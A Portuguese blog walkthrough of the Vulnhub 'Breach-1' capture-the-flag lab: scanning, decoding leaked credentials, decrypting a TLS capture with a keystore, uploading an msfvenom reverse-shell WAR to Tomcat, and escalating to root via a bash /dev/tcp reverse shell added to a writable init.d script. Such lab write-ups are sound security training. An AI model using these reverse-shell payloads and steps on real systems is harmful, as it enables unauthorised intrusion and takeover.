Home Vulnhub - Breach-1
Post
Cancel

Vulnhub - Breach-1

Scan/Enumeracao

Host Discovery

  • No site maquina, no Vulnhub, esta informando que a maquina esta configurada com o IP 192.168.110.140

Port Discovery

  • Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e para a nossa surpresa TODAS as portas estao ABERTAS
1
sudo nmap -n -T5 -p- 192.168.110.140

Port Scan

  • Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre os principais servicos. Primeiramente vamos enumerar somente as 10 principais portas
1
sudo nmap -n -T5 -A --top-ports 10 192.168.110.140

Prioridade

  • Seguindo a metodolo para a exploracao, vamos iniciar pelas portas que temos mais probabilidade de sucesso

Enumeracao/Exploracao Web - Porta 80

Browser

  • Acessando a pagina observamos uma imagem e um recado dizendo que a rede da empresa foi violada e possivelmente o responsavel e um antigo funcionario insatisfeito

  • No codigo fonte da pagina encontramos o que parece ser um hash e um link para initech.html

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

Fuzzy de Diretorios - Gobuster

  • Rodando o Gobuster verificamos que temos um diretorio /images e nada mais…
1
gobuster dir -u http://192.168.110.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

  • A principio nao temos nada de interessante nesse diretorio, apenas imagens inuteis

HASH - www.hashes.com

  • Vamos verificar o que significa aquele hash que encontramos. O site conseguiu quebrar o hash mas nao temos nada legivel

  • Passamos o resultado do primeiro hash decodificado para o site novamente. Agora temos um resultado interessante… Parece ser uma credencial

pgibbons:damnitfeel$goodtobeagang$ta

initech.html

  • Acessando a pagina temos um portal com algumas informacoes interessantes… Um link para o /impresscms/ e o email do Samir Nagheenanajar (webmaster@breach.local)

  • Olhando o codigo fonte temos um comentario…

ImpressCMS

  • Acessando a pagina do Portal dos Funcionarios temos um CMS, o ImpressCMS.

  • Conseguimos logar no portal com a credencial que tinhamos encontrado: pgibbons:damnitfeel$goodtobeagang$ta

  • Existem 03 mensagens para o usuario

  • Uma das mensagens diz que foi adquirido um IDS/IPS, outra diz que mensagens sigilosas eram para serem postadas somente no portal de adm

  • Na primeira mensagem encontramos algo interessante, dizendo que foi guardado um certificado SSL no diretorio /.keystore

/.keystore

  • Baixamos o arquivo que esta disponivel no diretorio

  • Observamos que o arquivos se trata de um JAVA Keystore

  • Tentamos verificar o conteudo porem nao conseguimos, precisamos da senha….

  • Lembra daquela mensagem dizendo algo sobre conteudos sigilogos no portal? Entao… achamos uma postagem do Peter Gibbons que diz que a senha dos arquivos “storepassword” e “keypassword” e tomcat. Na mensagem ele diz que tem um arquivo .pcap que tem a captura da reproducao do ataque do redteam, mas provavelmente esta criptografado… O arquivo .pcap esta disponivel em: http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

  • Conseguimos acessar o conteudo do arquivo
1
keytool -list -keystore keystore

.pcap

  • Vamos baixar o arquivo .pcap que foi mencionado

Wireshark

  • Abrimos o arquivo no wireshark, mas parece que ele esta criptografado

  • Aquele arquivo keystore pode ser a chave para descriptografar essa captura. Quando verificamos o conteudo dele o proprio arquivo diz que esta em formato para o JDK, para as outras aplicacoes e necessario converter…

1
keytool -v -importkeystore -srckeystore keystore -srcalias tomcat -destkeystore key.p12 -deststoretype PKCS12

  • Antes de decriptografar a captura vamos ver se a chave foi gerada corretamente
1
openssl pkcs12 -in key.p12 -nocerts -nodes

  • Para poder ler o conteudo criptografado da captura no wireshark devemos importar o arquivo para o programa da seguinte forma: “Edit: -> “Preferences” -> “Protocols” -> “TLS -> “Edit

Follow - TLS Stream

  • Para ver o conteudo do trafego Botao direito do Mouse -> “Follow” -> “TLS Stream”, ou apertar as teclas CTRL+ALT+SHIFT+S

  • Podemos observar que ele faz uma requisicao GET para o /_M@nag3Me/html

  • Em outra parte da captura do trafego tem uma requisicao passando um codigo em base64: dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Decodificando-o temos tomcat:Tt\5D8F(#!*u=G)4m7zB

  • No final da captura temos uma requisicao para uma pagina que executa: /cmd/cmd.jsp?cmd=id

Porta 8443

/_M@nag3Me/html

  • Tentamos acessar a pagina que encontramos na captura mas nao conseguimos

Burp Suite

  • Como a configuracao SSL da pagina web e insegura o navegador impede o acesso para a pagina. Para contornar isso podemos adicionar um proxy na pagina. A maneira mais facil de se fazer e usando o burp suite

  • Iniciamos o Burp Suite, mas deixamos o modo “Intercept” dele desligado. A nossa intensao nao e capturar o trafego, mas sim passar uma “sensacao de seguranca” para o navegador

  • Depois disso configuramos o proxy no navegador. Para isso utilizamos a extensao “Foxy Proxy” do firefox

Firefox

  • Agora acessamos a pagina https://192.168.110.140:8443/_M@nag3Me/html. Ele vai dar o aviso de seguranca mas vamos acessar a pagina mesmo assim

  • A pagina pede uma autenticacao, entao vamos utilizar a credencial que estava codificada em base64 na captura para logar

Tomcat Web Application Manager

  • Conseguimos acesso a pagina!

Shell Reverso

  • Tentamos acessar aquela pagina que encontramos no pcap para executar comando via URL, mas nao conseguimos nada

  • Entao vamos upar um arquivo war para conseguirmos o shell reverso

MSFVENOM

  • Vamos criar o nosso payload com o programa msfvenom
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.3 LPORT=4444 -f war > charlie.war

Upload do Payload

  • Vamos upar o nosso payload para o servidor

  • Agora executamos o arquivo que acabamos de subir para o servidor. Mas antes tem que lembara de deixar a porta escutando na kali

  • Conseguimos o shell reverso do usuario “tomcat6”

Usuario “tomcat6”

Escalando privilegio

  • Depois de varias tentativas, conseguindo achar a credencial do MySQL em um arquivo no diretorio /var/www/5446

MySQL

  • Conseguimos acessar o banco de dados com o usuario “root” e sem senha…

  • Temos alguns banco de dados disponiveis

  • Vamos dar uma olhada nas tabelas do banco “mysql”

  • Conseguimos achar credencias, mas as senhas sao hashes…

hashes.com

  • Conseguimos quebrar o hash

  • 6450d89bd3aff1d893b85d3ad65d2ec2:thelaststraw
  • milton:thelaststraw

Usuario “milton”

  • Conseguimos logar com o usuario milton

  • Depois de muito tempo procurando achamos uma informacao nos metadados de uma das imagens da pagina web

  • coffeestains
  • Listando os usuarios do sistema, temos alguns que podemos tentar acessar…

Usuario “blumbergh”

  • Conseguimos logar com a credencial blumbergh:coffeestains

Escalando Privilegio

Linpeas

  • Como e de praste vamos rodar o linpeas na maquina

  • O linpeas nos retornou algumas informacoes interessantes:
  • Kernel vulneravel: Linux version 4.2.0-27-generic

  • Consigo escrever no init.d: /etc/init.d/portly.sh

  • Conseguimos executar comando com sudo: /usr/bin/tee /usr/share/cleanup/tidyup.sh

  • Podemos escolher qual linha de acao tomar para escalar privilegio…

/etc/init.d/portly.sh

  • Adicionamos o nosso shell code no arquivo que esta no init.d que temos permissao de escrita
1
/bin/bash -i >& /dev/tcp/192.168.110.3/4433 0>&1

  • Agora e so deixar a porta escutando na kali e reiniciar a maquina alvo que conseguiremos o nosso shell de root!

  • PRONTO, AGORA SOMOS ROOT!

Flag

  • Conseguimos a flag de root

  • Tem uma imagem no diretorio /root

Bonus

  • A escalacao de privilegio para o root poderia ser feira de outras formas…
This post is licensed under CC BY 4.0 by the author.
Contents